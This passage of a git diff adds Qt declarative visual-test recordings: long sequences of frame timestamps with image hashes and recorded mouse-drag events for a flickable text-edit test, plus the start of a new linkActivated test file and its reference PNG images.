+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4096
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4112
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4128
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4144
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4160
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4176
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4192
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4208
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4224
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4240
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4256
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4272
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4288
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4304
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4320
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4336
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4352
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4368
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4384
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4400
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4416
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4432
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4448
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4464
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4480
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4496
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4512
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4528
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4544
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4560
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4576
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4592
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4608
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4624
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4640
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4656
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4672
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4688
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4704
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 4720
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4736
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4752
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4768
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4784
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4800
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4816
+ image: "flickableEdit.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4848
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4864
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4880
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4896
+ hash: "e5a6693779ffb4e8a333756690a8f9e0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 264; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 262; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4912
+ hash: "6acabe70146611091621ef5079cc97ec"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 259; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 256; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4928
+ hash: "f75b5eaa04bfec866f088f665edb225e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 253; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 249; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4944
+ hash: "1888acd9f3e48348c22e324d67ab2724"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 245; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 240; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4960
+ hash: "cd24be347f20371f9d0796fa4a38ad0c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 235; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 231; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4976
+ hash: "f39bc67a8e83340f8e89cf11c89fb27c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 227; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 222; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4992
+ hash: "80d8019485231c061ba1cf81fd4c42ca"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 217; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 213; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5008
+ hash: "72893900dfd007ea25a7d75982be6320"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5024
+ hash: "f3d02c4d2f0b8b75b0b6159c0ba8f4db"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 199; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 195; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5040
+ hash: "8ecdf1325bb2084bf6212216bd86b324"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 190; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 186; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5056
+ hash: "be5c62268b337c9d7f69ab01b02c816d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 182; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 178; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5072
+ hash: "a0eea6c818a1cb71809aff4613e9655d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5088
+ hash: "27fcf1d4cd00dc7ac54fa92f9c7e2ac2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 165; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5104
+ hash: "32f6bdc5e2f6ce34436a21dd8ee348dd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 162; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5120
+ hash: "4c11c9075429acd4acddc6ede4e5fe69"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5136
+ hash: "8fdaf03e0b03698613092303945787d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 148; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5152
+ hash: "d9bc269f21d5eade8bb9555d05a86744"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5168
+ hash: "f9dd0735682dba198febffcc85c9835a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 135; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 131; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5184
+ hash: "a98869bb654e3b4c1f4d9d0e7e24197a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 128; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5200
+ hash: "50ceb9d6d58129b71009079a0028e7c4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 121; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5216
+ hash: "6b8c9413ba1a791e42b06aaa711cdb4e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5232
+ hash: "f7e12621527fd52e21595cfbf804879c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5248
+ hash: "d7408be78c80e2b6e5848ee696a79ee0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5264
+ hash: "e648f25a978b9f14cf71d5f1d90edf15"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 93; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5280
+ hash: "64ce73aa32f2c08f4cee9a35a103a1d0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 88; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5296
+ hash: "1db1d100eb1f97a7c85ab8df3e558188"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 86; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5312
+ hash: "5604b2f85c3a90f8b29da3fec2f6c509"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 79; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5328
+ hash: "fb57c6295d512821945754020ea6a3ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 77; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 75; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5344
+ hash: "14dfd5b78901c9f63e4f5d0889f77805"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5360
+ hash: "cc105198e78269be1240785b791c8612"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5376
+ hash: "1ef97830b4f1be66a4f443ee4573547b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5392
+ hash: "0ef86edc381e75c39ba067404817edb8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 63; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 60; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5408
+ hash: "6a7605f59eb364fbc166aeea7b54695a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5424
+ hash: "e86bb3698ad8b46e70237088ea056ab0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5440
+ hash: "56db36cde05d74d6bf8eec0b21515b20"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5456
+ hash: "05adc602e827635ca43c0cff2b5b857d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5472
+ hash: "cbdcdf9b7e640a79e2269247bb4d6cc2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5488
+ hash: "bc014e9feb5e69c4042385a6753d1884"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 38; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 37; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5504
+ hash: "544e9ddbedae500955e6cec79eae709c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 35; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5520
+ hash: "ec17a9dba3846c1919b67eaf3d234471"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 28; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5536
+ hash: "8ab538f8baa170798c93e6eb4d5441f8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 26; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5552
+ hash: "1b1636fecff90e602b87dbf84a986d2a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 25; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 24; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5568
+ hash: "27a84ee3fb8b306e22e50ba753828b7c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5584
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5600
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 23; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5616
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5632
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5648
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5664
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5680
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5696
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5712
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5728
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5744
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5760
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5776
+ image: "flickableEdit.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5808
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5824
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5840
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5856
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5872
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5888
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5904
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5920
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5936
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5952
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5968
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5984
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6000
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6016
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6032
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6048
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6064
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6080
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6096
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6112
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6128
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6144
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6160
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6176
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6192
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6208
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6224
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6240
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6256
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6272
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6288
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6304
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6320
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6336
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6352
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6368
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6384
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6400
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6416
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6432
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png
new file mode 100644
index 0000000..7d0d0ae
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png
new file mode 100644
index 0000000..7d612bf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml
new file mode 100644
index 0000000..8c7e380
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml
@@ -0,0 +1,191 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "linkActivated.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 48
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 64
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 80
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 96
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 112
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 128
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 144
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 160
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 176
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 192
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 208
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 224
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 240
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 256
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 21; y: 13
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 272
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Frame {
+ msec: 288
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Frame {
+ msec: 304
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 320
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 23; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 336
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 352
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 368
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 384
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 400
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 416
